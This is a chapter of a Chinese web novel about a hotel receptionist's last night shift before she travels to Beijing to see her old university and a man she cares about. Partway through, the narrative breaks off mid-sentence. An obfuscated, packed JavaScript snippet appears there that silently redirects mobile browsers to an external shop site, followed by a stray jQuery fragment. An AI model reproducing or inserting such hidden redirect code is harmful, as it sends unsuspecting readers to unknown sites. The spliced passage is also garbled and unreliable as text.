这是林深去北京前的最后一个夜班。晚上八点五十，她提前到了酒店。Helen正在前台喝咖啡，看见她进门，抬头看了一眼。
“你今天来这么早？”
“路上不堵。”
Helen没说话，过了两秒。
“你看起来像要结婚。”
林深差点被呛到。
“有病吧。”
Helen点点头。
“那就是要见宋青瓷。”
林深把包塞进柜子里，决定不理她。
夜班开始以后，大堂和平时没什么区别。入住，续住，送水，处理投诉，解释早餐时间，解释停车收费，解释为什么机器人不会坐电梯，解释为什么凌晨一点没有现煮馄饨。前台每天都在回答同样的问题，可林深今天完全不在状态——不是出错，是心不在这里。办入住的时候她会突然想到高铁，接电话的时候她会突然想到北京，打印入住单的时候她会突然想到明天这个时候自己已经不在上海了。这种感觉很奇怪，像小学春游前一天，明明什么都没发生，却怎么都静不下来。
十一点半，入住高峰过去，大堂重新安静下来。Helen坐在旁边核对报表，林深打开电脑，本来想剪视频，结果鬼使神差地点开了地图——卫星图，北京大学。她把地图慢慢放大，未名湖，博雅塔，百周年纪念讲堂，再放大，经济学院，熟悉得像昨天才离开。
Helen看见了。
“看什么呢？”
“学校。”
Helen探头看了一眼。
“北京大学？”
“嗯。”
“都毕业多少年了。”
林深笑了一下。
“很多年了。”
她继续放大，经济学院旁边那条路还在，楼也还在，甚至树的位置都没怎么变。Helen靠在椅背上。
“想回去？”
“嗯。”
“突然？”
林深摇头。
“其实一直想。”
只是以前没时间，后来有时间了又碰上疫情，再后来好像一直有别的事情——开店，分手，封城，抑郁，酒店，视频，很多事情挤在一起，回学校这件事反而被压到了最后面。
凌晨一点，大堂彻底没人了，林深还在看地图。Helen喝着咖啡。
“票买了吗？”
“买了。”
“待几天？”
“六天左右。”
Helen挑眉。
“请两天假那个？”
“嗯。”
酒店人都懂，正常人请两天假是两天，酒店人请两天假可能变六天。Helen点点头。
“挺赚。”
林深笑。
“确实。”
两个人安静了一会儿，电脑风扇轻轻转着，大厅的灯亮得有点发白。Helen忽然开口。
“希望这次别只陪一天。”
空气安静下来。林深没说话，她知道Helen说的是哪次，她自己也记得。上一次北京，刚到的时候特别开心，后来越来越安静，最后很多时间都是自己一个人。Helen没有继续说，低头做自己的报表，好像刚刚只是随口提了一句天气。可林深却看着屏幕愣了很久——经济学院的大楼还在卫星图里，宋青瓷的头像也还在微信里，有些东西一直都在，只是离得远近不同。
凌晨两点，林深终于关掉地图开始剪视频。剪了十分钟，又打开地图。Helen看得直乐。
“舍不得关？”
“没有。”
“你已经看两个小时了。”
“我就看看。”
Helen懒得拆穿她。
凌晨三点，视频导出成功，后台开始跑流量。评论区很快出现新留言，有人说“今天更新这么早”，有人说“夜班辛苦”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731513|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，还有人说“北京篇什么时候开始”。林深盯着那条评论看了两秒，笑了。Helen问：
“笑什么？”
“网友比我还着急。”
“他们知道你要去北京？”
“知道一点。”
Helen点头。
“看来大家都想看后续。”
林深忽然觉得有点奇怪。以前等宋青瓷消息，后来等播放量，现在连网友都开始等她去北京，生活不知道什么时候变成这样了。
凌晨四点，微信亮了一下。宋青瓷。
“还没睡？”
林深看着那三个字，没忍住笑。
“上班。”
“最后一个夜班？”
她愣了一下。
“你记得？”
“你说过。”
聊天框安静了几秒，然后又恢复平时的节奏，没有特别热情，没有特别冷淡，和以前一样。可林深却莫名安心了一点。
凌晨五点，天开始发亮，酒店门口陆续有客人退房，有人赶飞机，有人赶高铁，有人赶早班车。林深给客人办完退房以后，忽然看了一眼时间——距离北京，不到二十四小时。
六点，七点，八点，时间突然开始变快。九点整，交班结束。Helen合上报表，伸了个懒腰。
“终于下班了。”
林深背起包。
“嗯。”
两个人一起往员工通道走，快到门口的时候，Helen忽然说：
“到了发个消息。”
“知道。”
“我是说北京。”
林深笑出声。
“好。”
走出酒店的时候，阳光已经落在马路上。正常情况下这个时间她应该困得睁不开眼，可今天一点都不困。她低头看了一眼手机，卫星图还停在后台，经济学院的大楼安安静静地待在那里。明天，她就能看见真的了。